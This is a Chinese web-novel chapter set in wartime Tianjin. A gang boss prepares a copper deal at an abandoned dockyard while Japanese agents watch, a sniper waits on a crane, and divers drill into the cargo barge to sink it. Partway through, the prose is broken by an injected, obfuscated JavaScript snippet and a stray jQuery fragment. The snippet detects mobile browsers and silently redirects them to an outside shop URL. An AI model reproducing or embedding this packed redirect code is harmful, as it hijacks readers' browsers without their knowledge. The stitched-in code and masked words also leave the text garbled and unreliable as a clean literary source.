第641章 水面之下
作品:《一个人的长征》 同一时间。大沽口,废弃船坞。
陆地上的气氛,远比水下更加剑拔**张。
这座建造于清末洋务运动时期的老船坞,曾经是中国北方最早的造船基地。
但经历了八国联军的劫掠和多年的战乱后。
这里早已废弃,只剩下几座巨大的、被海风侵蚀得千疮百孔的红砖干船坞,以及一条铺着生锈铁轨的下水滑道,斜斜地延伸进海河深处。
午夜的冷风穿过那些破败的厂房,发出鬼哭狼嚎般的凄厉声响。
船坞的中央空地上,停着五辆没有熄火的道奇卡车,车灯全部关闭,只有排气管在夜色中喷吐着白色的尾气。
袁文会穿着一件名贵的紫貂皮大衣,嘴里叼着一根雪茄,站在滑道的边缘。
他的身后,站着三十多个青帮最精锐的“红帮”打手。
这些人没有拿平日里用来斗殴的斧头和**,而是清一色地端着德造二十响的**瑟**,甚至还有两挺捷克式轻**架在卡车的车顶上。
“老板,这地方邪乎得很。”
金算盘缩着脖子,手里紧紧地攥着一个皮包,里面装满了金条的提货单据。
“王世荣那孙子说子时在这儿验货,这眼瞅着就要到点儿了,连个鬼影子都没看见。这不会是个套吧?”
袁文会的脸上闪过一丝狠戾,那道蜈蚣般的刀疤在黑夜中显得愈发狰狞。
“他王世荣有几个脑袋,敢给老子下套?”
袁文会冷哼了一声,将雪茄头扔在地上,用皮鞋狠狠碾灭。
“老子今天带了十吨紫铜的现货,还有五百两黄金的硬通货。他要是敢玩虚的,老子明儿个就把他南市的漕帮堂口夷为平地!”
“可是,松本课长那边……”金算盘依然忧心忡忡。
“松本那个日本娘们儿,现在估计正盯着南市那几个空库房发呆呢。”
袁文会得意地笑了起来。
“她以为封锁了所有的陆路关卡,老子就运不出这十吨紫铜?老子今天走的是水路!”
袁文会转过身,指向身后那条倾斜的铁轨滑道。
在滑道的尽头,半截没入水中的位置,静静地停泊着一艘宽大的木质平底驳船。
驳船上盖着厚重的防雨帆布,帆布下面,整整齐齐地码放着几十个沉重的木箱,里面装满了切成段的紫铜线缆和熔铸的铜锭。
这就是袁文会这几天在天津卫黑市上,疯狂搜刮的全部成果。
“这艘船的缆绳是活扣。”
袁文会拍了拍身边的一根粗大缆柱。
“只要药一到手,验明了真伪,把紫铜交给卖家。如果特高课的狗鼻子真闻着味儿找来了,老子一刀砍断缆绳,这艘船顺着滑道直接溜进海河。船底下安装了静音马达,顺水摸黑进了渤海湾,神仙也追不上!”
这就是一个老牌黑帮头子的狡猾之处。
他从来不把鸡蛋放在同一个篮子里,这艘随时可以逃之夭夭的驳船,就是他敢于在特高课眼皮子底下进行如此庞大战略物资交易的底气。
但**的是,他的底气,也是别人眼中的猎物。
距离废弃船坞不到一公里的一个高地上,是一座日俄战争时期遗留下来的废弃炮台。
炮台的掩体后,停着一辆没有开灯的装甲指挥车。
松本琴江坐在车里,手里拿着一副高倍夜视红外望远镜。
这是德国盟友秘密提供给关东军的尖端试验装备。
在望远镜那幽绿色的视野里,废弃船坞里那些青帮打手的体温轮廓,清晰地呈现出来。
“课长阁下,袁文会的货和人都在那里了。”
站在一旁的特高课行动队长低声汇报道。
“我们已经完成了外围合围。水面上,两艘装有机关炮的内河巡逻艇也已经在下游两公里处待命。袁文会那艘插翅难飞。”
“不急。”
松本琴江放下望远镜,语气平淡得像是在看一场无聊的戏剧。
“赵先生,你怎么看?”
她转头看向坐在角落里、正默默拨动佛珠的赵子琛。
赵子琛推了推玳瑁眼镜,眼神中闪烁着一种自作聪明的精光。
“袁文会是个诱饵,那十吨紫铜也是诱饵。陈墨真正的目的,是利用袁文会筹集紫铜,然后在交易时制造混乱,趁机劫走物资。”
赵子琛的分析听起来无懈可击。
“但是,陈墨面临着一个死局。十吨重的紫铜,他没有车队,没有船只,他怎么运走?”
“所以,他一定会来劫袁文会的那艘船。”
赵子琛下了定论。
“他的人一定已经潜伏在船坞周围。只要我们等到陈墨现身,或者等到所谓的‘卖家’出现,再一网打尽。不仅能收缴紫铜和黄金,还能把**在天津的情报网连根拔起。”
松本琴江微微点了点头,嘴角勾起一抹残忍的微笑。
“那就让他们再等一会儿。”
松本琴江看了一眼手腕上的精工手表。
“子时已过。陈墨是个守时的人,如果他要动手,就在这几分钟内了。”
……
冷风如刀。
废弃船坞西侧,一座高达三十米的废弃龙门吊,犹如一具生锈的钢铁骨架,孤独地矗立在海河边。
在龙门吊最顶端的驾驶室内,风从四面八方漏进来,气温低得能把人的血液冻僵。
林晚趴在冰冷的铁皮地板上,身体犹如一块被固定在岩石上的苔藓,一动不动。
她的右眼紧紧贴在莫辛纳甘**的瞄准镜护目圈上,连呼吸都控制在最微弱的频率。
距离她进入狙击阵地,已经过去了整整四个小时。
极度的严寒让她的手指有些僵硬,但她的意志力却像钢铁般坚韧。
在这个高度,她拥有俯瞰整个大沽口船坞的绝佳视野。
她能清晰地看到袁文会那张因为焦躁而扭曲的脸,也能看到滑道尽头那艘装满紫铜的驳船。
但她的枪口并没有指向袁文会。
对于一个顶尖的狙击手来说,最危险的敌人,永远是那些隐藏在暗处的同行和指挥官。
她的十字准星,在船坞周围的几个可疑制高点和外围的黑暗地带缓慢地、不知疲倦地游移着。
“先生,十分钟了。你们到了吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308029|183140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林晚在心里默默地念着,胸前那枚银锁贴在皮肤上,传递着一丝冰冷的坚硬。
水底的世界,没有任何声音能够传达上来。
此时,距离船坞不到一百米的海河水下。
陈墨的体能已经逼近了崩溃的边缘。
在水下行走四百米,穿着八十公斤的重潜服,每迈出一步,大腿肌肉都像是在被生生撕裂。
河底的淤泥深达半尺,靴子**的瞬间会产生巨大的负压,消耗着他体内所剩无几的氧气。
头盔里的空气变得越来越浑浊,虽然王世荣和邢老大在水面上拼命摇动气泵,但长距离的输气管依然造成了气压的衰减。
陈墨的视窗内全是白色的雾气,他只能凭借着指北针和方向感,在浑黄的泥水中艰难摸索。
就在他感觉肺部即将炸裂、眼前开始出现缺氧造成的黑斑时。
他的左手,突然触碰到了一根粗壮的、长满了水藻的木桩。
那是船坞滑道延伸入水下的导轨支柱。
到了。
陈墨停下脚步,紧紧抱住那根木桩,大口大口地喘息着,试图让心脏的跳动平复下来。
他通过腰间的牵引绳,连续拉动了两下,向身后的张金凤发出了“到达位置”的信号。
张金凤很快摸了过来,庞大的身躯在水下像是一块移动的礁石。
两人顺着滑道的木桩,开始缓慢地上浮。
在水深大约三米的地方,一片巨大的黑色阴影出现在他们的头顶上方,遮蔽了仅有的一丝星光。
那是袁文会那艘装载着十吨紫铜的平底驳船的船底。
驳船静静地停泊在水面上,随着微波轻轻摇晃。
水面之上,是剑拔**张的黑帮火并前夕。
水面之下,两个幽灵已经握住了这艘船的死穴。
陈墨从腰间的工具袋里,摸出了一把带有金刚石钻头的微型水下手摇钻。
这东西原本是工兵用来在桥墩上打孔安放**的。
张金凤则掏出了四根用防水胶布严密包裹的、成人手臂粗细的硝酸铵**棒,以及两枚机械式的水下延时**。
这就是陈墨那疯狂、完全打破了所有“经济学家”和“特务头子”预判的终极计划。
他不劫车,不抢人。
也不需要上岸。
在松本琴江和袁文会眼皮子底下,在水深三米的隐蔽处,直接凿沉这艘装满十吨紫铜的驳船,让这笔惊天的财富,彻底埋葬在海河的淤泥之中。
等水面上的火并结束,等日本人确认物资“失踪”,等这片水域恢复平静的几个月后,太行山自然会派人来,像蚂蚁搬家一样,把这些不怕水泡的紫铜,一块一块地打捞上去。
这是一场跨越了时间的劫掠。
陈墨将手摇钻的钻头,死死地抵在了驳船船底最核心的龙骨接缝处。
他咬紧牙关,在沉重的铜头盔里,发出一声无声的怒吼。
双手猛地发力,开始转动那个沉重的摇柄。
“嘎吱……嘎吱……”
轻微的木材破裂声,在浑浊的水下,被河水的涌动完美地掩盖。

